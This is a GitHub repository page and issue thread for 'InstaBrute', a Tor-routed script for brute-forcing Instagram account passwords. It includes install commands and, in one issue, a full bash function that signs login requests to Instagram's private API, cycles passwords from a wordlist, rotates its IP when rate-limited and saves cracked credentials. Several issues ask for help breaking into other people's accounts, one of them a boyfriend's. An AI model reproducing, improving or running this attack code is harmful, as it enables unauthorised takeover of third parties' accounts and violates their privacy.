ha3mrx / instabrute

InstaBrute Two Ways to Brute-force Instagram Account Hacking

InstaBrute

InstaBrute Two Ways to Brute-force Instagram Account Hacking

what is a InstaBrute

Instagram contained two distinct vulnerabilities that allowed an attacker to brute-force

passwords of user accounts. Combined with user enumeration, a weak password policy

no 2FA nor other mitigating security controls, this could have allowed an attacker to compromise

many accounts without any user interaction, including high-profile ones.

Facebook fixed both issues and awarded a combined bounty of $5.000.

Download&install

apt-get install tor

git clone https://github.com/Ha3MrX/InstaBrute

cd InstaBrute

chmod +x insta.sh

./insta.sh

screenshot

YouTube Channel

https://www.youtube.com/channel/UCCgy7i_A5yhAEdY86rPOinA

Viddeo Tutorial

https://www.youtube.com/watch?v=a-moMHuZX_Q&t=11s

instabrute's Issues

Haxk

[email protected]:evildevill/instahack.git

Ig

Fake

Gives wrong password and its fake. Or insta just has to good security

Root

Please make it for non rooted divices

I want to help with some of the code here is an code prompt below. Please Read

function bruteforcer() {
  checktor
  count_pass=$(wc -l "$wl_pass" | cut -d " " -f1)
  printf "\e[1;92mUsername:\e[0m\e[1;77m %s\e[0m\n" "$user"
  printf "\e[1;92mWordlist:\e[0m\e[1;77m %s (%s)\e[0m\n" "$wl_pass" "$count_pass"
  printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m"

  startline=1
  endline="$threads"
  pause=false

  trap 'pause=true' SIGUSR1
  trap 'pause=false' SIGUSR2

  while true; do
    IFS=$'\n'
    for pass in $(sed -n "${startline},${endline}p" "$wl_pass"); do
      if $pause; then
        printf "\n\e[1;91m[*] Session Paused. Press Ctrl + R to resume.\n\e[0m"
        sleep 1
        continue
      fi

      header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
      data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
      ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
      countpass=$(grep -n "$pass" "$wl_pass" | cut -d ":" -f1)
      hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
      useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
      printf "\e[1;77mTrying pass (%s/%s)\e[0m: %s\n" "$countpass" "$count_pass" "$pass"

      {
        (trap '' SIGINT && var=$(curl --socks5 127.0.0.1:9050 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "200\|challenge\|many tries\|Please wait"| uniq );
        if [[ $var == "challenge" ]]; then
          printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" "$pass"
          printf "Username: %s, Password: %s\n" "$user" "$pass" >> found.passwords
          printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"
          kill -USR1 $$
        elif [[ $var == "200" ]]; then
          printf "\e[1;92m \n [*] Password Found: %s\n" "$pass"
          printf "Username: %s, Password: %s\n" "$user" "$pass" >> found.passwords
          printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.passwords \n\e[0m"
          kill -USR1 $$
        elif [[ $var == "Please wait" ]]; then
          changeip
        fi;
        )
      } &

      sleep 0.02
    done
    wait $!
    let startline+=$threads
    let endline+=$threads
    changeip
    sleep 0.02
  done
}

this is for better performance of the brute force function if you see this I recommend you use this as you while see an great improvement and I will be adding more to the code for better performance or features. If contributors don't want me work on fixing the code I will stop and I don't need credit if they take my code cause I don't wanna be fr known as a non-ethical hacker as I use this tool for catching 'horrible people'. Thank you for reading.

Note: Even though this code makes it run faster and make sure the process doesn't break the occasional after 20 tries stops, because these are inevitable. Thank you for reading.

Not working

I try with my Instagram account but it didn't work ... and I try to change my Instagram password with one of the passwords in the default word list and the results still didn't work to hack the account

Should it need to be rooted

Hey! For performing brute force attack in termux terminal should need our Android to be rooted ?? Can anyone tell me" !!

Speed of script

How many passwords your script can try per minute/hour

Insta brute forcer .. What happens next

I've been waiting for hours for the password to finally appear but it keeps trying pass and shows hundreds of passwords ... What next ?

When I resume the attack it repeats the last password over and over.

When I resume the attack, it just repeats the last password over and over again really slowly. Does anyone know what the issue is?

Insta hack Hii i am trying to hack from some days in termux but not working . Soo help meet some one 🤝.

Password Error

Not sure why it claims to the found a password when it is nothing close to the actual one.. Either error with the Instabrute or Instagram is just too strong with security so it gives up...?

I want this one here

Tor connectio error

When it starts it shows tor connection error
Plzz help...

you are FAKE

you re so fake, he just found the password but doesn t match . don t download this shit

Bruteforce insta

Marstan.s.3120

One guy hacked my account

password doesnt show at the end

when the password is found it is slightly bolded but the program keeps running and at the end it doesn't show the password

Brute

Insta

Yy

Root requirement for termux

It's says to root the device

Save progress?

Is it possible to save it's progress when the attack is on its way so that when I open it again, i wont have to start from the beginning?

Insta brute

.

lkh

tor error

hi when i run its shows me this error ### Please, check your TOR Connection! Just type tor or service tor start please help me

Instagram password and username needed

Instagram password and username needed

script might have issues

the script tries every password but it missed the right password when i run it. do solve this.

FAke

dont work

Request😁

Привет 👋
Мог бы написать брутфорс сайта VK.com?
из рабочих способов сейчас только фишинг. А старого доброго метода грубой силы нет(
Бы ло бы сдорово,если опублекуешь

Hi 👋
Could you brute force VK.com?
phishing is the only working method now. And the good old brute force method is gone (
It would be nice if you publish))

Instabrut

https://www.exploit-db.com/google-hacking-database

He find the password, but isn't valid..

I launch InstaBrute and try to hack "nolan.mercier" at 4900 password testing, he find me a password: "99Kaarsen", I'v try to connect but nop, invalid password...
Soooo, How tf does he give me these credentials ?

EDIT: I retry with "nolhan_priv34", give me psw "Matutis11" but not this..

Hacking

Bro in termux i will insert a apt-get install tor script it will say not located...that means what i can do sir... for your idea please tell me

How to insert word list in word list folder plz reply

How to insert word list in word list folder plz reply

Originally posted by @ABD123758 in rdWei/SocialMediaHackingToolkit#15 (comment)

Help

I need to go in to my bf s Instagram account and i don t know how.If someone can do that for me please contact me [email protected]

what are we adding here now ?

Password List (Enter to default list):
buraya şimdi ne ekliyoruz ?
what are we adding here now ?

Openssl

Hi bro when i type ./insta.sh in termux its give me an error (I require openssl but it's not installed. Aborting) can you help me

Bhbb

Jii
https://github.com/Ha3MrX/InstaBrute/blame/775abfd5ad136e531887575748ad456cccf35dff/insta.sh#L6

Bruteforce

Doesn't work

Tried it on my own Instagram account, I put my actual password in the password.lst file and it just skips over it. Tried changing my Instagram password and tried again but still no password found.

My new tool for insta mass report

8149_reena

Hacking account

Instagram account hacking

cd InstaBrute